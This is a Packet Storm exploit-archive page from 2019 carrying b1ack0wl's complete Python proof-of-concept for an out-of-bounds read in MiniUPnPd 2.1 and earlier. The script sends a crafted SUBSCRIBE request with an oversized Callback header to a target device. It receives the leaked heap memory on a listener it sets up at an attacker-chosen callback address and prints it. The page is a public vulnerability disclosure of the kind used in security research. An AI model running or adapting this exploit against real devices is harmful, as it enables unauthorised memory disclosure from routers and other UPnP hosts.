exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

MiniUPnPd 2.1 Out-Of-Bounds Read

MiniUPnPd 2.1 Out-Of-Bounds Read
Posted Jan 29, 2019
Authored by b1ack0wl

MiniUPnPd versions 2.1 and below suffer from an out-of-bounds read vulnerability.

tags | exploit
SHA-256 | 2aaa71d09817976536dfc7a03db1bc67d6ef7fb15b152cb8ac3c8251862a3b07

MiniUPnPd 2.1 Out-Of-Bounds Read

Change Mirror Download
#!/usr/bin/python3
# miniupnpd <= v2.1 read out-of-bounds PoC
# by b1ack0wl
# https://github.com/b1ack0wl/miniupnpd_poc

import requests, socketserver, argparse, sys

class OK_HTTP_Response(socketserver.StreamRequestHandler):
def handle(self):
self.request.settimeout(self.server.timeout)
self.server.notify = b""
try:
line = self.rfile.read(1)
while len(line) > 0:
self.server.notify += line
line = self.rfile.read(1)
except:
pass
self.wfile.write(b"HTTP/1.1 200 OK\r\n\r\n")

def splash():
print("[*] miniupnpd <= v2.1 read out-of-bounds vulnerability [PoC]")
print("[*] by b1ack0wl")

def leak_data(args):
leak_size = ((1024*args.leak_amount)+526)
callback_uri= "A" * leak_size
headers= {'NT': 'upnp:event', 'Callback': '<https://{}:{}/{}>'.format(args.callback_ip,args.callback_port,callback_uri), 'Timeout': 'Second-20'}
server = socketserver.TCPServer((args.callback_ip, args.callback_port), OK_HTTP_Response)
server.timeout = args.timeout
print("[+] Sending request...")
requests.request(method="SUBSCRIBE",url="https://{}:{}/evt/L3F".format(args.target_ip,args.target_port),headers=headers,timeout=args.timeout)
server.handle_request()
leaked_data = server.notify[1023::] # Skip over the first 1024 bytes since it just contains 'NOTIFY /AAA...'
print("[+] Leaked Data: {}".format(leaked_data))
print("[+] Leaked Length: {}".format(len(leaked_data)))
print("[+] Done")

def main():
poc_parser = argparse.ArgumentParser( add_help=True, description='Miniupnpd <= v2.1 read out-of-bounds vulnerability',formatter_class=argparse.ArgumentDefaultsHelpFormatter)
poc_parser.add_argument('target_ip', help='IP address of vulnerable device.')
poc_parser.add_argument('target_port', default=5000, help="Target Port.", type=int)
poc_parser.add_argument('--callback_ip', help="Local IP address for httpd listener.", type=str)
poc_parser.add_argument('--callback_port', help="Local port for httpd listener.", type=int)
poc_parser.add_argument('--timeout', default=5, help="Timeout for http requests (in seconds).", type=float)
poc_parser.add_argument('--leak_amount', default=1, help="Amount of arbitrary heap data to leak (in KB).", type=int)
args = poc_parser.parse_args()
arguments = ['target_ip', 'target_port', 'callback_ip', 'callback_port' ]
for i in arguments:
if getattr(args, i) == None:
poc_parser.print_help()
sys.exit(1)
leak_data(args)

if __name__ == '__main__':
splash()
main()
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close